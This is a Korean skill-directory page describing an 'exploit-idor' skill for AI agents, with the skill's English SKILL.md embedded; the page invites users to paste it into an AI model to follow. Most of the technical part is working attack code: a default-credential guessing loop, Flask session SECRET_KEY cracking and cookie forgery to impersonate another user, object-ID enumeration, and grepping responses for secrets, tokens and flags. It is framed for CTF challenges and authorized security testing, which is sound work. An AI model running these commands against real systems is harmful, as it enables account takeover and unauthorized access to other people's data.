본문으로 건너뛰기
Skillpedia
보안6.5k · #14066

exploit-idor

하는 일

이 스킬은 안전하지 않은 직접 객체 참조(IDOR)를 확인하는 과정을 안내합니다. 사용자가 다른 사람의 기록에 접근할 수 있는지 점검하는 보안 테스터를 위한 스킬입니다.

사용하는 경우

  • ✓앱이 URL에 번호 ID나 파일 이름을 쓰고 접근 제어를 확인하려는 경우.
  • ✓보안 검토에서 한 계정이 다른 계정의 데이터를 보거나 바꿀 수 있는지 물을 때.
  • ✓챌린지 태그나 스캔이 객체 단위 권한 확인이 없을 수 있다고 가리킬 때.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/idor/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/idor/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“로그인한 사용자가 청구서 번호를 바꿔서 다른 사용자의 청구서를 열 수 있는지 확인해 주세요.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 테스트 계정으로 로그인하고, 가까운 번호나 예측 가능한 ID와 방법을 시도한 뒤, 서버가 해당 계정이 보면 안 되는 기록을 돌려주는지 확인합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Insecure Direct Object References (IDOR)

Exploits missing or inadequate authorization checks on object references (IDs, filenames, GUIDs), allowing access to other users' resources.

Default Credentials Fast-Path (when default_credentials is a co-tag)

When default_credentials appears alongside idor in the challenge tags, attempt login FIRST before any IDOR probing:

# Try top default credential pairs in your FIRST exploit bash call
for creds in "admin:admin" "admin:password" "test:test" "admin:123456" "user:user" "admin:admin123"; do
  user="${creds%%:*}"; pass="${creds##*:}"
  resp=$(curl -s -c /tmp/cookies.txt -X POST "http://<TARGET>/login" \
    -d "username=$user&password=$pass" -w '\n%{http_code}' 2>/dev/null)
  code=$(echo "$resp" | tail -1)
  [ "$code" = "200" ] || [ "$code" = "302" ] && echo "HIT: $user:$pass ($code)" && break
done

A valid session reduces all subsequent attack surface to authenticated endpoints — this is the fastest path to flag for dual-tag challenges. Only proceed to IDOR enumeration after confirming or exhausting default credentials.

Flask Session Cookie — SECRET_KEY Brute-Force Fast-Path

When to use: After logging in (default creds), if the session cookie starts with eyJ (base64) and contains a . separator without a JWT alg header — it is a Flask itsdangerous cookie. If modifying your own ID in the cookie to another user's ID causes a signature rejection, brute-force the SECRET_KEY IMMEDIATELY before doing any endpoint enumeration.

Evidence pattern (real-world evidence): test:test → user_id=10032 in Flask session → IDOR target at /order/<id>/receipt → cookie rejected when manually modifying user_id → SECRET_KEY your_secret_key found via flask-unsign → forged cookie with target user_id → flag.

# 1. Decode the Flask session cookie
pip install flask-unsign -q 2>/dev/null
flask-unsign --decode --cookie '<SESSION_COOKIE_VALUE>'

# 2. Brute-force the signing secret (try rockyou first, then common secrets)
flask-unsign --unsign --cookie '<SESSION_COOKIE_VALUE>' --wordlist /usr/share/wordlists/rockyou.txt --no-literal-eval
# Fallback: try common weak secrets inline
for secret in "secret" "secret_key" "your_secret_key" "flask_secret" "mysecret" "password" "admin" "changeme" "dev" "production"; do
  result=$(flask-unsign --unsign --cookie '<SESSION_COOKIE_VALUE>' --secret "$secret" 2>/dev/null) && echo "SECRET: $secret" && break
done

# 3. Once secret found — forge a cookie with admin/target user_id
flask-unsign --sign --cookie "{'user_id': <TARGET_ID>, 'username': 'admin'}" --secret '<RECOVERED_SECRET>'

# 4. Use forged cookie to access target resources
curl -s "http://<TARGET>/order/<TARGET_ID>/receipt" -H "Cookie: session=<FORGED_COOKIE>" -o /tmp/idor_resp.txt
grep -iE 'secret|token|key|cred|flag' /tmp/idor_resp.txt

Decision rule: If the flask-unsign crack against rockyou is not yielding the secret (no progress output), pivot to endpoint enumeration with your own valid session (horizontal IDOR without cookie forgery may still work).

Detection Strategy

# Horizontal IDOR — access another user's data
curl -s 'https://<TARGET>/api/user/1001/profile' -H 'Cookie: session=<USER_A_SESSION>' -o idor_own.txt
curl -s 'https://<TARGET>/api/user/1002/profile' -H 'Cookie: session=<USER_A_SESSION>' -o idor_other.txt
diff idor_own.txt idor_other.txt

# Vertical IDOR — access admin resources as regular user
curl -s 'https://<TARGET>/api/admin/users' -H 'Cookie: session=<USER_SESSION>' -o idor_vertical.txt

# ID enumeration
for id in $(seq 1 100); do
    STATUS=$(curl -s -o /dev/null -w '%{http_code}' "https://<TARGET>/api/document/${id}" -H 'Cookie: session=<SESSION>')
    echo "ID $id: $STATUS"
done > idor_enum.txt

Common IDOR Patterns

Pattern Example Test
Sequential integer IDs /api/invoice/1001 Increment/decrement ID
UUID/GUID /api/doc/550e8400-e29b-41d4-a716-446655440000 Capture other UUIDs from responses
Filename /download?file=report_userA.pdf Change username in filename
Encoded ID /profile?id=MTAwMQ== (base64) Decode, modify, re-encode
Hashed ID /api/user/5d41402abc4b Check if MD5/SHA1 of predictable value
JWT sub claim {"sub": "1001"} Modify sub claim (if no signature check)

Predictable ID Generation Patterns (when IDs look random but encode account-derivable data)

Some IDs that LOOK random (long integers, hex strin

자주 묻는 질문

기본 로그인부터 시도하나요?

챌린지에 기본 자격 증명이 포함된 경우, 이 스킬은 ID 검사 전에 흔한 테스트 로그인을 먼저 시도합니다.

토큰의 subject 필드도 테스트하나요?

네. JWT의 sub 클레임을 바꿔서 서버가 이를 접근 권한에 그대로 신뢰하는지 확인합니다.

번호 ID 말고도 다루나요?

네. UUID, 파일 이름, 인코딩된 ID도 다룹니다.

상세 정보

작성자의 원본 설명

Insecure Direct Object References (IDOR) — authorization bypass through predictable object references (sequential IDs, UUIDs, filenames, encoded IDs). Covers horizontal/vertical privilege escalation, ID enumeration, HTTP method tampering, and JWT sub claim manipulation.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#14066
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬